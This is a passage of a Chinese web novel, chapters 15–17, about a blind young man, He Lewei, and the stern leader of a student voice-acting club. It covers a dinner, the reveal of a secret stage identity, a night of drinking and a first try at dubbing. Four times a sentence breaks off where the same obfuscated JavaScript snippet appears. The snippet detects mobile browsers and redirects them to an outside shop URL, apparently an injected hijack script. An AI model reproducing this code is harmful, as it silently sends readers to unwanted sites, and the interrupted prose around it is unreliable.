“怎么了?怎么了?”大型犬的力量不容小觑,何乐为又瘦,被这样一扑,肋骨都快要断三根,勉强才能站定身体。 陈政年把狗强硬地拉回去,这样一个小小的插曲,反倒对拍摄起到更好的效果。 会长拍满意了,由陈政年收尾结束,最后大家散个七七八八。 拉布拉多还赖在何乐为怀里。 “走啦。”季晓茜去拉它。 小狗就是不愿意走,何乐为也舍不得,抱着小狗一个劲儿地亲亲嗅嗅。 陈政年越看越不舒服,难以忍受道:“何乐为,放开它,很脏。” “不脏!香香的。”他又猛吸一口。 狗好,人坏。 何乐为终于领悟这句网络热语了。 再怎么不舍,最终还是要物归原主的,陈政年余光里都是他失落的模样。 “有机会,我也养只小狗好了。”他喃喃自语,很快又否定说:“还是算了。” 他一个瞎子,能养活自己就不错了。 陈政年没有发表意见,被强制要求把人送回家后,车在楼下停了好久。 “嗯,最好是有经验的,长毛的。麻烦您帮我留意一下。” 他挂断通话,何乐为家的灯在密集的老居民楼里亮得有些荒唐,谁能想到那是一个瞎子的家。 他垂下眼睫,正打算驱车离开,手机铃声突然响了,他看一眼屏幕,眉心迅速拧一下,又松开。 “喂,妈。” 崔如云在外人面前总是雷厉风行,但到了自家儿子这却温柔似水,轻声细语:“仔仔,期末考结束了吧?什么时候回家?” 陈政年没什么情绪:“过几天。” “怎么了?学校还有事?”崔如云的声音顿时变得尖锐。 陈政年说实验室还有工作需要收尾。 崔如云放下心来,“那你处理完工作就回家,妈妈很想你。” 陈政年答应了,崔如云又絮絮叨叨说了半天,断线前再次提醒他尽早回家。 楼上的灯关了,发动机的声音划破寂静,世界又回归灰色。 陈政年真正到家已经是三天后的傍晚,崔如云亲自给他下了一大桌子菜,他尝了嘴。 一如既往,不出意外的咸。 “怎么样?味道还可以吗?”崔如云问。 他没说话,只点头,又往嘴里多扒两口白米饭。 母子俩相安无事地吃了半程,崔如云不知道是突然想起来,还是一直记在心里,张开问他:“期末考得怎么样?” 陈政年执筷子的指尖一顿,“还好。” “但是我听你们老师说,你这学期没拿满绩?” 崔如云总是这样,明明什么都清楚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092601|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却还要多此一举地问他。 “嗯,差0.1分。”陈政年没什么胃口。 崔如云蹙起眉头,声音倒还算平和:“是什么原因呢?自己有想过吗?” “专业考试出了点失误。”陈政年简言意骇。 “那你可要好好吸取教训,做好总结,下次可不能再犯了。” 陈政年“嗯”了声。 “你是大孩子,妈妈也不好说什么。但是你自己心里得清楚,这个家,还有公司,这些担子早晚要落到你身上。你是妈妈唯一的孩子,不能比别人差,也不要学人家野孩子只顾着玩,我只有你了。” 陈政年撂下筷子,碗扒得空空的,表示吃干净了。 崔如云很满意:“吃好了就赶紧进房间做总结吧,这次的失误不要拖到下次,我们要争分夺秒。” 陈政年压下门把,第一眼就扫向天花板,角落红外线灯闪了闪,蒙上一层灰的摄像头此时被擦得程亮。 他面无表情地走进去,走进这温和的牢笼中。 “小杯子,小陶笛。”何乐为把这俩洗干净了,用纸巾包起来两圈。 兼职的工作始终不是长久之道,他思虑再三还是打算找找正式岗,然而自己找多少仍是有心无力。 谁想到跟残联会长一说,对方便表示最近残联恰好缺人,何乐为要是愿意,下周就可以过去上班。 这个好消息直接把他给砸晕,于是迎来了无业人员最后两天的狂欢。 何乐为决定把家里收拾一下,一个个柜子打扫过去,在最深处摸到了拍纪录片那天陈政年给他的袋子,里面有他们一起捏的陶杯。 那天太累了,精神也有些恍惚,回到家,就很珍惜地将它连同袋子一起放进柜子深处,还没来得及拿出来摸摸。 哪知道拆开袋子才发现里头还有只陶笛,何乐为一开始还不敢相信,两只手抓着摸了好久。 上面两排洞都摸透了,心里头突然波涛翻滚,很想很想找陈政年。 这么想,就这么做了。 何乐为第一次不使用“Be your eyse”去联系他,而是拨打了手机号码。 那边“嘟嘟”响一阵,陈政年接了:“喂?” “陈医工!”何乐为喊他,音调尤其亢奋。 对方说“等一下”,然后听筒传过来一串脚步声,应该是走到别的地方去了。 “怎么了?什么事?”陈政年问他。 “我摸到陶笛了。”只听声音,陈政年就能想象出他那张夸张的笑脸。 眼尾一定是弯的,嘴角微微翘起,总是带了点小得意。 陈政年勾了勾唇,平淡的语气夹杂着他自己都没能察觉的细微愉悦,“然后呢?” “然后就是谢谢你啊。”何乐为声音软下来,像是过度兴奋的情绪过去了,余留下轻柔又安宁的、一种平淡的舒畅。 “嗯,”陈政年想说不客气,但恶劣的想法止不住从脑袋中横生,开口捉弄:“就这样?说句谢谢就够了?” 何乐为果真愣住,绞尽脑汁问:“那、那我请你吃饭?” 又是这样单纯、俗套的报答方式,可不知名的欲l望从心底滋长,陈政年从阳台望进自己昏暗的房间。 太想吃了,小瞎子请的饭。 15. 掉马 “实习到家里的公司不就好了?非得回学校做什么科研助理。” 陈政年一边整理数据,还要一边敷衍崔如云的念叨,“对学习有帮助。” “家里公司也能学习。算了,你人都过去了。妈不是怪你,跟老师打好关系也很重要,你自己看着办吧,有空记得回家。” “嗯。”陈政年挂断电话,回头向导师汇报工作。 距离他回学校已经过去一周,他根本没有时间去找何乐为兑换那张饭票,每天马不停蹄地工作,睁眼闭眼都在实验室。 “显微镜观察及MTT比色法检测,结果显示细胞形态正常,增殖活跃,未见明显毒性反应,细胞存活率高于90%,符合生物相容性要求……” 导师听完汇报,满意地点点头,“辛苦了,给大家放两天假,好好休息一下。” 然而没来得及休整,谢泽霖一通电话打进来:“在哪呢社长大人?放假了,大家说今晚聚一聚,老地方,来吗?” 陈政年想也不想:“不去。” “干嘛又不来?你是老大,你不来,谁给我们买单?”谢泽霖厚颜无耻,讨饭钱时讨得心安理得。 陈政年冷笑,“回来报销。” 谢泽霖顿时变了语气,马屁拍得巨响:“谢谢老大,老大辛苦了,老大万岁!” 但通话并没有挂断,应该是被谁抢过去,开了外放,“老大你什么时候回来啊?” “最近接的活可多了,你再不来,阿霖就要篡位了。” 大家七嘴八舌,陈政年听得头疼,也给不了准话:“再说吧,最近没时间。” “可是你又帮季晓茜拍纪录片,又去蒲教授那做助理,干这些都有时间,怎么不关照一下自家社团。” 大家多少都有点怨气,明明社团里的活多得忙不过来,陈政年还总往外跑。 “我不是帮她,那是我的工作。”陈政年捏了捏眉心。 不知道谁低低嘟囔了声:“季学姐说你是去帮一个盲人小帅哥。” 大家瞬间就哄闹起来:“社长都学会在外面偷偷交朋友了。” “社长偏心,就知道找别人玩。” “够了。”陈政年被他们叽叽喳喳给说烦了,语气加重:“有空我会回去,你们这段时间就听谢泽霖的安排。” 听人要怒,大家不敢再惹事,毕竟陈政年真发起火来,谁也承受不住。 等到晚上,陈政年好不容易清闲了些,谢泽霖的电话竟然又打过来了。 “你认识的那个盲人小帅哥是不是皮肤很白、身材比较瘦,特别爱笑的?” 陈政年抬了抬眉,“怎么了?” “我好像看见他了。” “在哪?” “就在餐厅啊,跟志愿者协会那个周梓孺一起,两人约饭吧。” 周梓孺,就是那天拍助盲纪录片的摄影师。 “诶,话说你真不来吗?我们点了很多菜。” 陈政年打开免提,放下手机,抬手把睡衣脱掉,“一会儿到。” 何乐为今天还挺开心的,残联的工作不多,干完活会长就放他先走了,恰逢周梓孺请他吃饭,下班就直奔餐厅。 本来以为就是普普通通的快餐店,谁知道是吃火锅的,他头一次品尝到这种人间美味。 跟小叔叔家自己打的完全不一样,没有很多鸡肉,也没有又肥又油的鸡汤底。 他还吃到了虾滑!□□弹弹的,一口一个。 唯一一点不自在的就是,火锅太烫了,盲人没法自己夹,所以周梓孺全程都在照顾他。 “你也吃啊,别给我夹了。”何乐为吃得肚子都圆了。 周梓孺笑呵呵道:“我没事,你吃饱就行。” 何乐为嚼丸子的时候像只小仓鼠,他没忍住举起手机拍几张。 突然手机被一把抢走了,周梓孺抬头,望进陈政年深邃的眸子里,“陈、陈学长?” “拍照经过别人同意了吗?”陈政年低头看一眼照片,声音还是那么有压迫感。 周梓孺支支吾吾,倒是何乐为愣了片刻,惊讶地仰起头:“你怎么也在这?” 陈政年没理他,继续居高临下俯视周梓孺,“回答。” “我、我……”他吱不出个所以然,何乐为听出来不对,也觉得奇怪:“梓孺拍谁啦?会不会是误会啊?” 梓孺?陈政年半边眉毛下压,把手机里的照片删了,还给周梓孺,“你自己告诉他。” “学长、我……下次不会了。”周梓孺低声说。 陈政年没耐心跟他扯皮,视线转向另一个人,“何乐为吃饱了吗?” “嗯!吃饱了,好饱!”何乐为还拍拍肚子,让他们听个响。 “跟我走。”陈政年直接把人拉起来。 何乐为没站稳,整个人的重量都压在他身上,“去哪里啊?” 周梓孺见状也起身,伸手要扶何乐为,然而陈政年半搂着人,往后退半步,“人我要先带走,谢谢你今天请他吃饭。” 这就走了? 手心被塞进一杆盲杖,何乐为有点困惑,但还是老老实实地同周梓孺道别:“谢谢你啊,再见。” 谁知道陈政年没有带他出门,反而是进了一个房间,何乐为还不知道这就是书里传说中的包间。 刚进门,就传来一阵起哄:“就是这个小帅哥吧?快来快来,坐我这里。” “哎哟,老大不错嘛,还会把人带过来介绍给我们。” 陈政年压根没想过久待,准备打个招呼就走的,没曾想进门容易出门难,他倒没什么,就是何乐为被缠着走不了了。 “他们是谁啊?”何乐为凑过来问。 谢泽霖听见,抢答说:“我们是老大的牛马,指哪打哪。” 何乐为感觉他的声音有点耳熟,但被内容吸引了。牛马这个词线上冲浪的时候听到过,是打工人自嘲,如果老大指的是陈政年…… 何乐为顿时瞪大眼睛,“你是老板?你开公司啦?” 现在大学生都这么优秀的吗? 包间顿时哄堂大笑,有个女生笑出眼泪来,解释说:“不是不是,他是我们社团的老大。” “啊……”何乐为恍然,原来陈政年还是社团的社长。 “什么社团啊?”他听说大学会有各式各样的社团,都很有趣,可惜他没有机会参加。 刚才那个抢答的男生给他说:“配音社团,不知道你有没有听说过聆音?” 何乐为一怔,突然感觉心脏都停了,两耳嗡鸣,听不清声音:“你、你说什么?” “聆音啊,也对,我们就是个小社团,没听过也正常。” “聆、聆音!”是他知道的那个聆音吗? 何乐为猛然往身旁一抓,也不知道抓住谁的手,牢牢的,指甲都绷白了,“X、X是你们社团的吗?” 谢泽霖品出点不对味来了,眯起眼,盯着陈政年勾起半边唇:“X?不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092602|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被你抓在手上么?” 何乐为掌心下的那只手突然变得滚烫,灼热得有些骇人,他放松了力气,却没有完全松开,而是指尖摸着骨节,一节节确认。 刚才太急,没认出来。 稍稍冷静,不到片刻,他就知道是谁了。 天,何乐为眼睛都瞪大了,“为什么、为什么不告诉我啊?” 愿意帮他录《热爱生命》,为什么不愿意告诉他真相呢? 难道在陈政年那里,他们还是很陌生的普通朋友吗? 何乐为噘嘴,手慢慢松开。 陈政年下意识反手抓他,收拢五指,唇瓣张了张却不知道该说什么,一开始是不想让他知道,后来是不好让他知道。 何乐为看不见陈政年的表情,只晓得人一直用拇指揉他腕上突起的骨头,像安抚,把他微微翘起的小呆毛都抚平了。 本来就没有生气,这下连郁闷也全泄掉:“你下次不要这样了。” “好。”陈政年答应他。 两人倒是若无旁人,却叫周围的人都看呆了,这、还是他们老大吗? 陈政年什么时候能让人碰了?说话还温声细语的,诡异! 空气安静,大家互相对视的眼神暗流涌动,也就谢泽霖敢去打断两人,笑嘻嘻地挤到中间。 “你听过我们社团啊,那能认出我是谁吗?” 陈政年松开何乐为的手,看见何乐为咬了咬唇,似是在回想。 “是林榭吗?”他思来想去,这声色也就跟印象中温润如玉的林公子匹配上,但说话调调不太对啊。 林榭可是大家公认的儒雅淑男、谦谦君子,现实怎么会是这般不着调的模样,像街边的滑头混混。 “哟呵,还挺准。”谢泽霖自顾自拉起何乐为,跟他握手,“小帅哥你好,我是林榭,真名谢泽霖,你怎么称呼?” 何乐为生硬地笑了笑,对方那股流氓痞子气让他有点幻灭,“何乐为,何乐而不为的何乐为。” “名字不错,有没有人跟你说过你声音也不错?” 他思维跳脱得厉害,何乐为不知道话题是怎么从名字变到声音的,但是被人夸总会是愉悦。 他心情好一些,就忘了刚才的幻灭瞬间,“没有,大家都说我的声线不成熟。” 谢泽霖同仇敌忾,忿忿道:“那是他们不懂!你这种音色在我们这,得是明珠啊,捧在掌心里的那种。” 何乐为被哄得一愣一愣的,又高兴又觉得不可能,谢泽霖真是油嘴滑舌。 “我们走了。”陈政年说,何乐为听出来他好像很不耐烦。 想说“好吧”,千万别再惹人生气了。 没料到谢泽霖比谁都刚,敢直接反抗陈政年的人可不多,“走哪去?刚来就走,乐为想吃什么,我让他们给你加。” “不用了不用了,我已经吃过了。”何乐为拒绝说。 谢泽霖以为他在客气:“吃过了就喝酒,成年了没?能喝不?” 何乐为还真没怎么喝过酒,自己偷偷尝过一回,太苦了,特别难以理解诗里写的把酒言欢。 “成年了,但是我不喜欢喝酒,太苦了。”他实话实说。 “这样啊。”谢泽霖摸了摸下巴,像哄小孩那样迫切想要留住何乐为,“那我给你点汽水,你喜欢‘X’?那我一会儿跟你聊聊你的‘X’好不好?” 他的“X”? 何乐为心脏猛然蹦一下,喉咙咽了咽:“好啊。” 16. 喝酒 关于陈政年为什么将艺名取为“X”,谢泽霖做出以下解释: “X射线,平等地看穿每一个人。你看不见所以不知道,他那双眼睛就跟X光那样。” 冰冷得像机器,不带感情且锐利地审视所有人。 当事人对此并没有反驳。 何乐为很久以前就跟X光打过交道了,最早可以追溯到六岁出车祸那年,脑袋、胸腔、小腿,受伤的部位都有X光的关照。 那时候眼睛已经坏掉,只记得经常被人带进小房子,按照医生的指示摆好体l位。 后来长大,才知道有一种医学检查手段,叫X光影像,能拍清人的骨头。 “你还不知道他学工科的吧?研究的就是这些玩意。” 何乐为知道陈政年学的东西跟医生有关,但没想到他居然是研究新兴技术的。 陈政年的身形瞬间又在他心里面拔高两个度,变得伟岸起来。 “好厉害啊,陈医工。”他感叹说。 刚还在吃吃笑笑的社团成员就突然发出一片“哦~哦~”起哄声,学着何乐为,调侃说:“厉害啊,学长。” “老大,牛掰啊!还会玩X射线,我们都不会。” 何乐为没懂发生了啥,木讷地眨巴眼睛,模样特别呆。 谢泽霖就看着他笑,手掌抬起来想要摸摸他毛茸茸的脑袋,被陈政年伸手挡开。 “别吓他。”陈政年冷声说。 大家立刻住嘴,谢泽霖却挑挑眉:“这心偏到太平洋去了,老大。” 陈政年敛眸看他,寒意不动声色地在空中漫开。 “阿霖,你少说两句吧。”有女生说,社长生气,全体遭殃。 何乐为怕他们吵架,忙解释道:“我没有被吓到,就是有点懵。” “哎,不说了不说了,喝酒。”陆陆续续有人出来缓和气氛。 谢泽霖给何乐为点了一瓶可乐,老式玻璃瓶装着的那种,特别冻手,何乐为喝一口就要放回桌子上缓缓,不能一直捧着。 等待掌心回暖的期间,大家有时会找他说话,他偶尔也会问些好奇的问题。 只有陈政年和一个叫裴嘉的男生一直在喝酒,有一下没一下地搭腔,然后又是“砰砰”清脆的玻璃杯碰撞声。 何乐为总忍不住分神去听,可周围说话的人多,他听不清。 “乐为?乐为?” “啊?”何乐为回神。 “阿霖问你呢。”说话的女生叫吴苏雅,艺名阿酥,声音很温柔,像春天细密的雨点。 谢泽霖搭上他的肩,开口时呼出淡淡的酒气:“怎么走神儿呢,问你读大几了?” “我没读书了。”何乐为诚实道。 好在谢泽霖没有揪着问题不放,很自然接话:“那在工作?” “对,在残联工作,上周刚上的班。” “平时上下班还方便吗?家里人送过去,还是自己去?” 酒杯碰撞,裴嘉不知道说了些什么,他听见陈政年短促的笑声,只一下,却很清晰。 何乐为感觉心口突然堵一下,喘不上来气儿。 肩头被人轻拍了拍,谢泽霖语气无奈:“在想什么呢?问你话也不回答。” “你刚才问什么了?”何乐为不好意思地笑笑,由于歉意他把所有注意力都收回来。 然而这次谢泽霖不肯罢休,“你告诉我刚才在想什么,我就告诉你我问了什么。” “我、我,”何乐为嗅着满空气的酒味,有点昏头,“就是想再试试喝酒。” “嘿!”谢泽霖立刻哈哈笑出声,“被我们引l诱到了吧。” “来来,还有酒杯吗?给我们乐为拿一个。” “没有了,得喊服务生。” “那你喝我的。”谢泽霖往他手里塞了个杯子,然后才问:“不介意吧?” 何乐为说不会,马上就有人给他倒酒,拿起来正要玩往嘴里送,酒杯突然被人抽走。 “他手受伤了,不能喝。”陈政年说。 无端地,何乐为这次就是不想听话,“我手已经好了!可以喝,你还给我。” “手真的没事吗?”谢泽霖还没混球到那个地步,如果有问题,他无论如何也不会让人沾酒。 何乐为举起双手,灵活地转了转:“真的好了,好全了。” “好了就喝呗,你拦着人家干嘛。”谢泽霖伸手去够陈政年手上的杯子,但陈政年五指跟铁钳那样,掰都掰不开。 “啥意思啊?我喝也不行?” 陈政年最后松了手:“给他拿个杯子。” “哦~”谢泽霖回味过来,不是酒不给喝,是他喝过的杯子不能碰。 干净的杯子最终还是拿进来,酒刚满上,何乐为立马举起杯子一饮而尽,生怕又给陈政年拦了。 谢泽霖笑他:“没碰杯呢,瞧把孩子急的。” 浓重的辛辣味在嘴里化开,烈焰般灼烧喉咙,带着躁动的气体争先恐后涌上鼻头,何乐呛得直咳嗽。 太难喝了!这酒还是跟印象中一样,又苦又涩。 实在想不通大家为什么喜欢,都说喝酒助兴、借酒消愁,何乐为半点没感觉出来,反而更不愉快了。 “还能喝吗?”谢泽霖敲一下他的杯子。 何乐为想说不喝了,谁知道隔壁再次传来清脆的酒杯碰撞声,这一刻,胸口闷到了极点。 他一鼓作气,仰头又把酒全喝光了,凭什么陈政年能喝,他就不能喝。 这回终于从苦味里尝到一丝丝回甘,嘴里开始甜,心情却烦躁。 酒一杯接一杯,等到第五杯,人就不行了,哼哼唧唧,嘴皮子耍个没完,还听不清楚在嚷嚷什么。 “醉了啊。”谢泽霖朝陈政年挑眉,“送回去吧,你送我送?” 结果当然是陈政年送,喝醉的小瞎子就算被人搀着也走不稳路,歪歪扭扭,他干脆直接将人背起来。 何乐为嘴唇就靠在耳侧,模糊地嘀咕几句,好不容易听清只言片语:“我早该猜到的,你跟X声音那么像。” 小瞎子还在纠结这事呢,陈政年觉得好笑,问他:“你是在生气了吗?” “嗯,生气了。”何乐为呼吸重重地打在耳后。 大概是醉了,又或者因为夏天的夜风依旧温温的,陈政年话说得没有平时刻板凉薄,只轻轻的,随风一样:“别气了,以后不骗你。” 何乐为不回答了,把头埋在对方肩窝上,不知道是不是睡了。 陈政年喝了酒,不能开车,站在路边慢慢晃悠等代驾过来。 一边踱步子,一边驮着人,对于醉醺醺的何乐为来说,像会催眠的摇篮。 不过何乐为吹着风,又清醒了一些,没头没尾地搭话:“今晚的夜景好看吗?” 陈政年这才抬起头,吝啬地将目光分一眼给夜色,“还行。” “天上有云吗?” “没有。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092603|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “书里说没有云的夜晚才更美,”何乐为咯咯笑了下,又问:“那有月亮吗?” 今天的陈政年不厌其烦:“有。” “弯的还是圆的?” “弯的。” “像镰刀那样?” “你知道镰刀是什么样的吗?”陈政年反问。 回应他的只剩何乐为悠长又平缓的呼吸声。 小瞎子睡着了,一觉睡到日上三竿,起床甚至想不起来自己是怎么到家的,又是怎么规矩地躺在床上。 印象中大概有个陈政年,但是头疼得厉害,就不想了,摁住两边眼尾,喃喃自语:“宿醉吗?” 他没有宿醉过,但小说里写,宿醉的人,早上起床会头疼。 要先给自己煮一碗醒酒汤,何乐为打开冰箱,一格格伸手摸索。 “没有菜了。”指尖突然摸到什么圆圆滑滑的东西,“嗯?” 他把它拿出来,是圆形的塑料外卖盒,里头东西会晃,像是汤。 “什么啊?”何乐为不记得他最近点过外卖。 这时候手机“叮咚”响了一声,陈政年给他发消息:“冰箱里有粥,早上打的,热一下再吃。” “!”何乐为给人发了俩“叹号”,“是你送我回家的吗?” 不对,何乐为意识自己在说废话,粥都买好了,陈政年很有可能是今天早上才走的! 陈政年果然懒得回他,何乐为就给他说:“谢谢啊。” 但没想明白对方怎么就在自己家里过夜了,刚要问,手机里有个没备注的联系人突然给他发消息:“乐为,起了吗?” 何乐为想了半天,才想起来是谢泽霖。 “起啦,宿醉了,头很疼。”何乐为给他发语音。 谢泽霖秒回:“才五杯……” 何乐为听着盲人模式直白地念出表情:“[强][强]” “你能听见表情不?”谢泽霖大概良心发现,悄悄把两个“强”撤回了。 “已经听见了。”何乐为说。 对方一个语音通话打过来,恶人先告状:“你以后少喝点酒,劝都劝不住,真是。” 何乐为也是头一回跟脸皮厚成城墙的人打交道,居然说不过,最后无奈道:“我再也不要和你们喝酒了。” “诶,别啊,一起喝酒多开心。” “不了不了。”那玩意太苦,难喝,一口下去只会让心更堵,何乐为是这辈子都不想再碰了。 谢泽霖就说:“你这样会让我觉得是我惹你不高兴了,因为那两个[强][强]。” 何乐为还真不至于,但谢泽霖不走寻常路,偏不听他解释,自顾自说:“那为了哄你开心,邀请你来我们社团玩,愿不愿意?” “啊!真的可以吗?”何乐为登时从沙发上站起来,心脏蹦得飞快。 “为什么不行?”谢泽霖听见他这边的动静,声音染上笑意,“而且今天我们老大也会回来。” 陈政年也在。 陈政年,陈医工……何乐为默念他的名字,心口都变得灼热起来。 如果见面的话,他就可以亲口问问,昨天陈政年究竟有没有留宿他家。 “他要是知道你来,肯定会很高兴的。”谢泽霖笑说。 何乐为呼吸滞了滞。 会高兴吗?如果他去的话。 “来不来?”谢泽霖要何乐为给个准话。 他轻轻咬了下唇:“去吧。”去吧。 17. 配音 去了才知道,原来谢泽霖葫芦里卖了药。 何乐为看不见,他以为所谓的到社团里玩,就是边听着谢泽霖的介绍边想象,再多不过摸一摸配音设备和器材。 谁知道谢泽霖直接就把他带进录音棚,关上门,外面的声音全部隔绝了,安静得不像话。 “隔音也太好了吧。”何乐为感叹说。 “那是自然,我们可是用了最好的隔音材料。” 谢泽霖坐到麦克风前,“喂喂,test、test,南都科技大学聆音社团。” 他用标准的播音腔进行设备测试,与平时说话的调调截然不同,浑厚有力,也与广播剧中的温润不一样。 果然声优都是怪物,何乐为表示肃然起敬。 “老大,你不进来吗?”谢泽霖突然问,声音被麦克风放大。 何乐为“嗯?”了一下,他在跟陈政年打电话吗? 听见这边谢泽霖“嗯嗯哦哦”几声,然后问:“你要跟乐为打个招呼吗?” 何乐为心脏忽然就提起来,脑袋被人套上耳机,陈政年的声音就从耳机里清晰地传出来:“何乐为。” “诶。”他应道,一时间不知道该做出什么反应,有些语无伦次:“这么大的耳机也能连接手机通话吗?” 陈政年那边有人笑了,好像是吴苏雅的声音:“这不是手机通话,这是耳机内部的通讯系统,我们就在录音棚外面,可以看见你们。” 谢泽霖告诉他,身前有一块巨大的透明玻璃,外面的人可以观察里面的情况。 “原来是这样!何乐为觉得好神奇,又听见陈政年问他:“昨晚睡得好吗?” “不太好。”他老实说,微微噘嘴:“早上起床都头疼了。” 谢泽霖乜眼看他,刚才何乐为也给他说头疼来着,明明是相同的话,偏偏就是感觉哪里不一样。 多出一丝委屈巴巴的可怜感,像在求安慰。 “以后不准喝了。”陈政年说。 轮到外间的吴苏雅诧异了,他们老大,从来没见过管谁喝酒。有回阿霖喝得快死了,吐得包间一片狼藉,也没见老大说过半句。 真真是不对劲。 “好。”何乐为乖乖地答应。 “行了,”谢泽霖没眼看,取下他的耳机,摁着人坐下,“接下来就交给你。” 何乐为没懂:“啊?什么?” 麦克风把他的声音扬大几倍,吓了何乐为一跳。 “让你试试配音。”谢泽霖说。 “我吗?我不行的!”何乐为立刻要站起来。 “试试嘛,就玩一下,不要有负担。”谢泽霖双手还搭在他肩上,作势捏了捏。 玻璃窗突然就被人敲了敲,映出陈政年的倒影,他挥一下手,让人出来。 谢泽霖叛逆地朝他摇摇头,继续跟何乐为说:“一会儿耳机里会放一段音频,你照着念就好了,模仿语气。” 何乐为被他勾起来兴趣,又怕耽误别人工作。 “放心吧,今天放假,没工作。” 何乐为只得恭敬不如从命了,但没想到谢泽霖要留他一个人在录音棚里。 “我在这会影响你,你就放开了玩,别害怕。”谢泽霖拍拍他,然后走出门。 结果一拐角就撞上陈政年的大黑脸,“我什么时候同意让他玩了?” “哎,你就让人家试一试,能有什么损失?”谢泽霖跟他嬉皮笑脸,打着哈哈:“你就听我的,说不定会有意外收获哦。” 陈政年皱眉,但是谢泽霖已经摁下操作台的按钮:“乐为,准备播放音频了,你可以先听一遍。” “嗯嗯。”何乐为垂下脑袋专心等待,一旦进入状态,他干什么都会很认真。 音频出来,马上就是一段情绪爆发的台词,他霎时瞪大眼睛。 “不行!说的是一辈子,差一年,一个月,一天,一个时辰,都不算一辈子!” 何乐为默默记下台词,这句话他有听过,但具体在哪,却不太记得了。 “呵嘿,看乐为那眼睛,跟葡萄似的,好圆。”谢泽霖饶有趣味地看着他。 可惜看不见,不然多惹人喜欢。 谢泽霖给他一点时间消化,才问:“怎么样?记下了吗?” “应该可以。”何乐为好像有信心了,完全不像刚才说自己不行的人。 陈政年指尖蜷了蜷。 看见何乐为伸手摸到话筒,凑近去,先深吸一口气,全身心调动情绪:“不行!” “说的是一辈子,差一天,一个月,一个时辰,都不算!” 吴苏雅瞳孔顿时亮起来,“爆发力倒是不错。” “咬词也很清晰。”谢泽霖满意地笑笑。 陈政年冷声说:“情绪过了,词也没念对。” “你不要这么苛刻嘛,第一次录,能到这个程度已经很好了。” 谢泽霖对上玻璃内何乐为期待的神色,直白地夸奖:“很不错,你很有天赋。” 是不是真的有天赋何乐为不清楚,但是他被一句话哄得心花怒放,一个人在里面乐呵半天。 谢泽霖又让他试了几次,不得不说,何乐为领悟力非常好,明明平时那么笨,但他在这方面却可以迅速理解谢泽霖的意思。 一次做得比一次好。 可私心上,陈政年并不希望如此。 “我说吧,他很合适,能有这样音色的人不多,简直是老天赏饭吃。”谢泽霖再次赞叹。 陈政年明白他的意思,聆音最近急招配音,要求独特的少年音色,招聘信息在网上挂了很久,收到的简历却寥寥无几。 “他不太合适。”陈政年捏了捏眉心。 聆音太小了,因为在校内非盈利性质的驱使下,早两年接的都是非商用无偿有声剧,偶尔配一些公益性宣传片。 赚不了钱,社员们活动通常都是兴趣,或者为了加综测分。 现在好一些,聆音逐渐有了脱离学校的势头,终于能接商用单子,但赚的依旧不多,经常饿一顿饱一顿。 何乐为现在有了一份稳定而轻松的工作,按照他那抠搜的财迷性子,还是不要把人拉下水为好。 “那你说怎么办?”谢泽霖摆摆手,“出品方迟早要催,你也知道这部剧对我们来说多重要。” 大制作,陈政年当然知道,这是将会是聆音配音历史上的重大转折点。 一旦打响名头,他们以后的单子就不用愁了。 “来不及,他什么都没学。” 谢泽霖表示这不是问题:“一个月,我保证把他教好。而且那个角色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092604|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏份不多,主役也已经定下来了,可以先录。” 陈政年还是摇头:“再说吧。” 能不能出彩是未知的,他总不能让人辞掉工作。 “你变了,老大。”谢泽霖说,吴苏雅在旁边一个劲儿地点头。 万事以利益为大,利益为先,不谈感情,只谈利益。 这是所有人都知道的,陈政年的处事准则。 多一个何乐为只会利大于弊,谢泽霖想不通他拒绝的理由。 何乐为终于玩累了,自己摸索着开门走出来,额角上渗出一层薄薄的汗。 陈政年递给他一杯水,他就捧着,吨吨全部喝光。 “感觉怎么样?”谢泽霖问他。 何乐为笑啊,“太好玩了!” 他喜欢配音,当自己说话的时候,声音会在耳机里同步播放一遍,这种感觉很奇妙。 平时都是听别人说,今天是听自己说。 陈政年垂眸看他,双颊红红的,还带着亢奋的余韵。 